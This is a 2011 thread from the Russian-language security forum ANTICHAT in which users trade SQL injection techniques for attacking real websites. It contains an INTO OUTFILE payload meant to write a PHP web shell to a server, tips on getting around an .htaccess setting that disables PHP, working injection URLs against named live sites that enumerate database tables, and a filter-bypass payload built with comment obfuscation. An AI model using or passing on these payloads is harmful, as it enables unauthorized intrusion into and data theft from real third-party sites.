ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
23.05.2011, 23:21
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
подскажите как правильно залить шелл:
делаю так
Сообщение от None
union+select+'%3C?php%20phpinfo();%20?%3E',2,3,4,5 ,6,7,8,9,0,11,12,13,14,15,16+INTO+OUTFILE+'/home/www/userfiles/1.php'--
создается файл:userfiles/1.php с содержимым
Сообщение от None
2 3 4 5 6 7 8 9 0 11 12 13 14 15 16
но как пхп не отоброжается, что можно сделать в такой ситуации? |
|
|
23.05.2011, 23:23
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от winstrool
winstrool said:
подскажите как правильно залить шелл:
делаю так
создается файл:userfiles/1.php с содержимым
но как пхп не отоброжается, что можно сделать в такой ситуации?
Залей форму для загрузки файлов.
|
|
|
|
23.05.2011, 23:26
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от winstrool
winstrool said:
подскажите как правильно залить шелл:
делаю так
создается файл:userfiles/1.php с содержимым
но как пхп не отоброжается, что можно сделать в такой ситуации?
Открой сурс и посмотри. Скорее всего спецсимволы типа "
|
|
|
|
23.05.2011, 23:35
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
[QUOTE="Tigger"]
Tigger said:
Открой сурс и посмотри. Скорее всего спецсимволы типа "
|
|
|
|
23.05.2011, 23:41
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от winstrool
winstrool said:
все символы записываются как надо, хтмл форму отоброжает а пхп не выполняет и отоброжает код пхп...
может что нить с .htaccess грамотное посоветуйте?
|
|
|
|
24.05.2011, 00:06
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
FlaktW
Какой смысл этого если у него PHP не интерпретируется?
Сообщение от winstrool
winstrool said:
не получается, открывает как обычный тхт файл((
Не удивительно =\
winstrool
Скинь мне линк в ПМ, посмотрю.
|
|
|
|
24.05.2011, 00:59
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от winstrool
winstrool said:
там php_value engine Off в файле .htaccess, возможноли через скуль переписать этот файл прова роот?
Ну так попробуй залить в другую директорию.
|
|
|
|
24.05.2011, 14:14
|
|
Guest
Сообщений: n/a
Провел на форуме:
2504
Репутация:
0
|
|
http://www.tvlab.com.ua/news/?id=-1+UNION+SELECT+1,2,group_concat(CPU_USER,0x3b,CPU_ SYSTEM),4,5+from+information_schema.profiling+--+
проблема с выводом данных
Попытался открыть базу tvlab не показало ни одной таблицы так ли это?
|
|
|
|
24.05.2011, 14:26
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от kartes1984
kartes1984 said:
http://www.tvlab.com.ua/news/?id=-1+UNION+SELECT+1,2,group_concat(CPU_USER,0x3b,CPU_ SYSTEM),4,5+from+information_schema.profiling+--+
проблема с выводом данных
Попытался открыть базу tvlab не показало ни одной таблицы так ли это?
http://www.tvlab.com.ua/news/?id=-1+UNION+SELECT+1,2,count(*),4,5+from+information_s chema.tables+where+table_schema!=0x696e666f726d617 4696f6e5f736368656d61+--+
1
http://www.tvlab.com.ua/news/?id=-1+UNION+SELECT+1,2,group_concat(0x0b,table_schema, 0x3a,table_name),4,5+from+information_schema.table s+where+table_schema!=0x696e666f726d6174696f6e5f73 6368656d61+--+
tvlab:news
|
|
|
|
24.05.2011, 14:49
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Как здесь обойти фильтрацию. Ветка БД на сайте 5, блиндом крутить лень.
http://www.gidacilar.com/view.php?id=1865'/**/*!union*/**/*!select*/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41+--+&type=print
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
